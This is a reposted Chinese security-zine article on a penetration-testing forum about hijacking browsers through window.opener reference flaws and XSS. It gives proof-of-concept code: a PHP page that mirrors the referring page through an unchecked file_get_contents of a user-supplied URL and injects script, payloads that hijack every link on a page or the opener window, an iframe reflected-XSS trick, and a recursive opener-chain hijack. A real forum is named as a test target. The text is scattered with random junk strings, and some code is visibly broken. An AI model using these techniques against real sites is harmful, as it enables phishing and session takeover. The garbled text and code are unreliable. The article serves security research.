中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
+ U+ l+ L  Z! W; L 5 a& y+ h* ^1 Z" @! N4 k
                       Issue 0x03, Phile #0x05 of 0x077 w2 l# n. F  ]' {/ h# \8 q
6 e1 d% M: a: ?/ Y; H

9 e0 c) ^& X4 C7 b3 {- k|=---------------------------------------------------------------------------=|
; z0 L' {, M. @- ]! U( s|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
6 o* v, {4 {  `% _% w6 x|=---------------------------------------------------------------------------=|
9 b! A( ^, {: P0 }- p2 ]+ k9 R3 e; r8 ~|=---------------------------------------------------------------------------=|5 X9 C) m/ t' N# s% o
|=------------------------=[      By rayh4c     ]=---------------------------=|! F) i6 H2 t& P, d0 g( Y: @
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|$ }/ V# ^9 C( Z) `3 ^# R
|=---------------------------------------------------------------------------=|, E, t2 z9 K) H" ^: G
/ q  [, D2 L$ ^6 ~5 ?  Y

/ c1 `  Y9 t& l2 P( r% c[目录]5 _) s7 M) m! C2 h* ?, l
& ~6 ^+ `1 K, N5 w2 {
1. 前言5 M/ G0 A' K5 k- ^
2. 同源策略简叙0 Q" u- [% i- X4 w; V; t
3. 理解window对象的同源策略' Y) q# [8 C- f4 x7 ~
4. 窗口引用功能中的同源策略漏洞, J4 ]" X% z- A& {. {
  4.1 父窗口引用子窗口的同源策略问题: E- O: E! m" C6 l
  4.2 子窗口引用父窗口的同源策略问题& s) @  h; r! t% r
5. 利用窗口引用漏洞劫持浏览器! n6 n" V. j" F) p8 V- [* M
6. 利用XSS漏洞劫持浏览器
6 Z0 W4 v9 ]4 E2 s1 E7 v  6.1 正向跨窗口劫持
0 l2 w8 g) g6 P% H& G' j& E  6.2 反向跨窗口劫持
' ^$ s( h1 W& Z5 `5 i  6.3 极度危险的跨框架窗口引用劫持
$ ~6 \6 q8 {! K7 l  6.4 极度危险的正反向跨窗口递归劫持9 ]6 l4 x, O% W& k
  6.5 完全控制浏览器, L) n& L' [2 K  ~$ r2 g% y
7. 后记
) w7 @5 Z$ U% w+ A8. 参考# Y+ k6 l0 d$ t3 X, i) Q: o

* V4 W5 j+ b& t, p! E0 p
; ~4 @" E; f0 y* u" d2 U+ F一、前言( e4 p3 A* i( ?3 W4 P

9 d! s8 h& F5 M' g" G. R% T+ ]( y    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 K; q7 m* f9 O* `友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session' b1 m. d4 G9 f# N, R# |1 D+ s6 k
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
: D( Z; Q; U) b# c: o4 N" D4 x条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
2 ^# g1 N7 c! f
' D( }/ {- f2 E/ l, I/ y- q2 p
二、同源策略简叙. C7 v+ J- J: K- @

) Z" w, z% {# M2 }  K) U4 O9 f! b    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
3 f, B9 z  z, [: o1 E& I/ M从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都0 K. x; Q6 Y7 ]  R) \
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木( w9 ~5 N9 V& ]6 S' f( H
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个) `! @% Q! _2 y& C2 }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ ~1 i5 w' ?/ v7 i
& z& E+ |: O/ F0 h, ^+ t4 e+ V8 O. @' ?8 B+ h
三、理解window对象的同源策略8 l- Z( R+ R: h8 v5 e
; y! T- k' n2 f. ~2 v  v5 W. r& @$ ]* m& ~
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对1 ~: @3 Q) Y  Z& G0 c2 n2 @  ^
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:: R. P' a; S4 z

2 C4 K3 Q+ p# h8 b, h--code-------------------------------------------------------------------------
+ q/ a3 z4 T) _) U* T<script language="javascript">7 V3 {8 B' i. z& }7 y- [, c
for(p in window) document.write(p+"<br>");7 r" _9 a6 b* F+ N( z, F5 \  r
</script>
& L% ?& u( x. j; s-------------------------------------------------------------------------------4 F$ X9 H9 r( d* @6 X
6 H. k4 L2 j& f1 w- M
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方) S  k  k9 H- f4 q8 `0 J" `
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,, `& I0 [. J8 k# N) r  h# @
这些属性和方法就必须遵循同源策略。* x. O" E( N* H1 P2 U0 T

: t1 z2 ?* ]2 ~1 h! ^! G    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那" l+ D0 N) P0 {* e& ?1 I
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须9 M* x9 G9 R% L, i/ A/ W1 K- s
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
/ R- O: [8 ]  l/ G个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
2 N5 Q: c' a3 H# ~9 b+ c值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location0 i* l: I% Z: i  _" @
属性并没有被拒绝访问。
6 w1 ]# }+ p2 [0 Q- [) S7 Q' M$ ^  w  r7 k+ _; P$ p: U7 a3 T  |
--demo.html--------------------------------------------------------------------
6 b" Q0 e" U+ b6 @: J1 V' u' @<script language="javascript">   2 |8 x6 Q2 [% X  B% C
function allPrpos(obj) {      
$ c# F4 E9 d8 r* o7 ~" j( b- N      var props = "<table><tr><td>名称</td><td>值</td>";           
7 Z5 a5 C5 a* f8 f      for(var p in obj){          ' D8 K$ A, p) l2 W
            if(typeof(obj[p])=="function"){   
9 J& \# t3 |. K                   obj[p]();   , A1 U" Z- T# D& X0 h. U
             }else{                      4 d$ O8 @3 N, [" y+ }
                  try   
  Z; w* i2 _9 n# h0 R. f: y3 L                   {   ) D4 B8 k& [5 `9 G
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
0 p9 g3 S0 {) m) B                   }   4 o8 z/ D. T* o. j% p$ p" N$ v$ o
                  catch (ex)   
9 E1 S( v! e: J3 Q                   {     `1 i% s  `$ N2 v
                  
2 ~  J8 k. i  j% j. J8 [0 _# T7 I                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   " h: e) W  L, L- z# I+ ~
                   }   
$ Q  @$ Z0 t: Y                       : d7 ]- Q- g5 a
             }   
1 ^! c, h. k( M( i/ j       }   
3 e; ]& Z, @7 q8 i% l   ; r" @% |  N5 \1 E3 ?3 u% d8 w# n
       document.write(props+"</table>");   
( |: N2 H( r8 L}   $ ^& Y/ E# i; T5 T1 [# t
   
1 Z0 @' [: ]* P) |! m* P$ b, U3 Xfunction createWin() {' S6 L+ ]* ?7 \1 }  y$ M5 z% s# }
        newWin = window.open ("http://www.google.com");  6 f: V* A8 t- j6 ?) S- u% G
        setTimeout(function(){allPrpos(newWin)},2000);
0 W1 d; V- ]3 m+ F( T4 I1 F* I9 N; Z} $ \0 J1 S7 l+ R5 d* `* M) K% ?( H
5 ~- H0 _4 f2 A2 Q! m& v. y
</script>
/ t/ I8 j7 z: O" `! l; O( Z4 U$ j6 {
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
- ?: K+ n" d  [- U" s7 v, a: j-------------------------------------------------------------------------------9 u6 L- G3 b* J
5 |3 V9 ~7 C. F1 U; x4 V8 n. k1 ]

7 u3 D2 P" a& t7 F8 P: N) {四、窗口引用功能中的同源策略漏洞
) H5 W$ I& }5 q
  W  \( |1 p5 E5 p& s* u4.1 父窗口引用子窗口的同源策略问题5 _3 \/ {  N" h# ^8 E" o3 G  R" f) J

* f0 _5 ~3 S+ a0 b, q: r6 x& x1 {    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,! U; m. X, W8 d( n$ Y! V; u; \
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道; A; R6 n/ r# @
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
4 F5 w  _. `4 c1 X: z行测试,会发现父窗口可以控制非同源子窗口location属性值。
, ]+ u4 t, f: X& j" Y2 A6 _7 ^2 R
% j( c8 |* V3 Z+ D8 O--vul1.html--------------------------------------------------------------------
3 j/ g( I6 ?# G3 _! W7 z& j<script language="javascript">
4 D( ]7 N5 r2 Tfunction createWin() {  
. e( z/ I2 A5 `8 }: i        newWin = window.open ("http://www.google.com");  / |- g  j7 W0 V+ V' h, o8 h
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
/ f+ ]8 R! |3 r- N}
; c. [9 H' ?; g* m5 }% j( D</script>* U, z! [0 }( |, ~( I

! J  j& P1 i. i* l/ p<button onclick='createWin()'>创建一个非同源子窗口测试</button>
# p) g2 i% a( l  f-------------------------------------------------------------------------------6 C" D5 R) w3 ?9 ~
( H: v+ V/ J* h# ]. |* j( X; V# Q$ j

% P1 K/ P* Q3 l, H9 z4.2 子窗口引用父窗口的同源策略问题& b2 o+ L7 K: ?6 X# {

" l# D. j$ l( r7 r, f* F9 {, ~% O    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
0 J+ s) v# l; B5 _+ W2 a用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们  z; b. `" ?0 f0 @! Z
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定/ [' i' r0 x- T6 n/ {
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
. ^6 w8 o$ \+ e; N* z, J( G( f. u% B
--code-------------------------------------------------------------------------0 X7 z  }7 q0 j
$ z2 F" V6 C% m) h
javascript:window.opener.location = "http://www.80sec.com";void(0);5 m3 e6 T# q5 s" g* m

4 q3 u$ h% `2 x0 j! \: ?9 I-------------------------------------------------------------------------------
7 Z" k* {0 X8 j' `
$ y0 M, E3 u; S. v; s  X4 w- h7 B7 W& y
五、利用窗口引用漏洞劫持浏览器1 a5 [/ w# G" s* U8 U1 m6 b0 Z

4 X# v8 i8 ^$ T- z# h7 ^- d    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子7 q8 j7 D) l" h; Z" Y6 ?
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那: U# A: C/ a  a- G# B( S8 g6 y
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。1 a3 z$ B3 j3 c' _8 h- K

; I, `: e1 o7 F: U% o3 J* Q/ t    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产. `+ ?5 j. a- J
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
# i- t* f/ a7 {. L, R者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接/ x# N2 R, ?( O/ B
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下! i: h  b* P# e( [  O( G
会产生什么可怕的后果。
1 a( T& l! o8 J) D
) `8 {% H0 o  C6 r$ U2 ~    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
  P' F# Q2 H( }, ~们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php1 t6 m4 N6 i2 J% [# u; O
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( T) L5 y  l) d
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可" w- S# }  F  R8 n* }9 u4 _" d
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
/ o5 n. |; a. D+ `) P% E* }+ a. m& f% s3 E7 c
--hjk_ref.php------------------------------------------------------------------
8 M7 l$ O2 D4 U  W$ w<?php  K& D7 K0 }0 t3 Q( M- H6 _, r2 w
if (array_key_exists("HTTP_REFERER", $_SERVER)) {. E8 N- _% b  |& A" l4 o) d* [
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" {. c8 r2 E4 J  n} # p" L6 |& b' J9 \4 O, o! \9 e# O
if(isset ($_GET['ref'])) {7 U. l& n7 d0 L( t4 L* k- k
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
' `6 J- U: n+ l% e; b* o, c' U}  x+ ^  Z" P/ A2 W0 O9 h
?>
7 V2 C. u- E0 ]2 S  |" D* q. d
  V, {* F1 [4 x# \<script language="javascript">
! ^7 ~- k; a0 v% usetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         # u$ _5 j/ j& ~  V' l9 ~- T* m
</script>! I# W% n1 G1 k8 A, k1 h
-------------------------------------------------------------------------------- Z9 [1 m0 J9 j

1 J3 W6 L; d, S; z! U* N: \- G& i    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 n( T( I1 v2 s( ]' d+ D: x% f, C; {' d' |2 }( C7 c+ I

+ D/ O' t% E4 Q# M& c六、利用XSS漏洞劫持浏览器
/ M! l( w. f% l: x! K+ t, F0 N& p  I9 |' P- R; @7 a
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为; S" T( W% N/ |
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
6 S- ]: s9 W* r; A+ ~XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
3 A; _7 `9 ]( K! {) o讨论跨站师的终极技巧:
& k. I$ l6 C1 j- q8 [% h, [% ?8 a9 D- x' x6 a/ r: Z4 W1 Y* X* V
& D  S, U& Z$ G0 A0 w+ \
6.1 正向跨窗口劫持
! D- |( P' Q; M2 s8 O3 K4 ~4 ~, {, }8 {) U( u3 Q8 T; Y# ^9 M) L7 N
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
9 b! |% t" W, s% n( c, I9 U' I主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
' b8 k7 o5 l: a5 f3 Q# {2 N! D接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
" P, P6 V* F0 R0 A5 W) X: A框脚本。
$ T2 x9 M+ h9 z1 v
0 A1 p: r/ w3 W) H; O  c--hijack_open.js---------------------------------------------------------------* t' V9 _' e. P- b  `" ^' R
! y: r) l+ S% J9 K7 c' j) ~: ~
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
4 K' _; x! V6 Y; h/ L
6 v" w% K; y! T" C/ W; Z/ P6 X-------------------------------------------------------------------------------
" b' e) }: J$ f  ?' d6 `: L' }# H; r0 h* g% [

$ ]% ]4 `) K) G. K+ H3 t6.2 反向跨窗口劫持
9 v7 b* [' D5 v/ I" I9 N
# A( h+ ]( x/ N! p7 B5 H) l    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
/ ]7 n2 ?% u' ?& k) V/ e  C8 Z码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话: L+ ]2 `2 {$ ^% L0 L1 o# {
框脚本。
# |; X# u4 e3 y
7 H3 f) L* Q( I; d: f" d$ ]--hijack_opener.js-------------------------------------------------------------
7 ]$ {) }- B; {' ~: G
7 J0 x- x# B5 j' O; I4 B# U/ ?javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
0 E; R. w8 L" `3 E6 `% w- l( A$ e. z$ x- c% e$ P; b# |5 T
-------------------------------------------------------------------------------
; C3 X; E7 b* G1 O+ c! @) I8 a
5 B) H( `. e; S+ O5 O& z3 {# W) o& I; S5 D/ }& m
6.3 极度危险的跨框架窗口引用劫持
2 m! u+ q, w. m/ _) N0 }
; ]2 T) i5 E! G/ T! ~    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞  q0 v0 E5 L5 q) w# A# R
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 {$ E! G" G9 [6 D适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个4 s% p+ I% x3 V: A$ u& X  U
非持久型的XSS,如下:9 k+ n3 {$ }, T( M- l

2 g. `8 Q4 l4 T$ u  K. ^8 K/ m<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
$ ^* t7 H/ ]1 M1 z/ h# w9 v& w2 X6 ]/ E1 d/ m, D4 p& a" b. ?1 e: `
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
: f/ @% U+ L- \, f4 o" X0 r注入脚本。6 `0 K) {  f" Y: S' M( S
2 }7 M# `) X: z3 s$ E
--hijack_frame_opener.js-------------------------------------------------------
( U9 r8 f& v8 W9 x% o) V<script>
0 J" E$ y# n/ A1 C) U; nwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";4 c( X5 X. A: N6 V* b- y
</script>
- F# R$ C6 n, D3 P0 j-------------------------------------------------------------------------------4 i" N/ L) T6 L8 q( s- }# N$ R& W
' d2 ~) G6 w6 d  H

. q' k! n3 O, v6.4 极度危险的正反向跨窗口递归劫持; V1 i7 ?+ [- y) L+ S

+ |( V$ S+ w- W    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. U& S  @5 s7 r! f
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过8 d* B. d- q1 g* ?
异常处理规避之间跨域页面的访问异常,代码如下:
- @- `9 E1 B, D. S' J- m  f
  D" b- _$ q' b6 G" h; p--code-------------------------------------------------------------------------# |3 i& X1 U- t' M9 X+ w( B( l+ h

; L* e: D6 I8 g% [/ Sjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% @8 V: J! R" C8 y4 o. h9 W
* P) K' b& u* u9 `$ ?0 _-------------------------------------------------------------------------------
+ ]# a2 S9 i9 w) a. U$ j$ l# L* C* u6 w5 l) B: V# h9 s
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
/ ^7 r5 l. c' ^: x& P0 P以劫持B域之前的A域页面,从而实现“隔空打击”。
- P/ b  z+ K% T& |( l6 g4 T" d  e7 M: E: {6 O5 C4 ?$ P& f
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
! v3 G" T/ o' `( o执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
. L7 N4 U/ h$ Z% B1 C$ a0 p
8 C2 K8 k& U! S5 \# w7 I: w    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! g" H. B, ?8 J/ f& Q' @6 e; `8 [' f: e8 f2 t# L9 H# m

0 S" f/ ?. r# h8 a, r7 W, N6.5 完全控制浏览器' q/ B6 `; H+ e- h$ W5 u
5 Z4 _  w& {" o; F, d
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
4 g# T+ r. g' ]) F是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS/ }- V% a! Q, H
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失% ]& A6 D1 i& q1 z) }
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再  x+ I0 m- x# O( x6 s
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站, ?1 p8 }' J/ P& b9 K6 [. B
师的终极目标 - 完全控制浏览器。# a( h$ B9 \, H# k$ j

/ R; i* m6 I* C: T7 z* S7 l7 [- |
) \- f" |/ Q9 d( e$ H2 ?七、后记" N/ y  N9 E* }. J

+ j! m5 S* e9 B4 q; _. C! ?; c    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
. {( h( h( A. j0 o! G与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予' r+ f( Z' i, ?7 E
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
" t7 Z  R; D- ~. w/ u
9 |) A( W9 l1 b, |& l% u  t: N, F! C. H$ {+ ]( Y
八、参考6 q+ @" K2 L$ u" ~& s: ?1 s7 ^5 g

; p2 A: R  R. Y# |/ ~$ `7 V1. http://en.wikipedia.org/wiki/Same_origin_policy
% |9 C3 V2 ]# k5 F4 h6 G4 A2. http://code.google.com/p/browser ... licy_for_DOM_access9 P9 K8 O0 C- F# Y8 G9 x6 [
3. http://www.w3.org/TR/Window/
3 z1 ^' L- _0 k6 l. d8 H4. http://www.80sec.com/release/browser-hijacking.txt
% {$ W1 ^& f% l! a& m5 A+ k8 K5. http://www.80sec.com/all-browser-security-alert.html: b- a- v9 t) G' L$ d
6. http://www.80sec.com/ms08-058-attacks-google.html
# _$ G" C3 v8 @2 o7 M3 J6 T; L6 Q% i- h# _3 L, h  H4 \" H( M
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2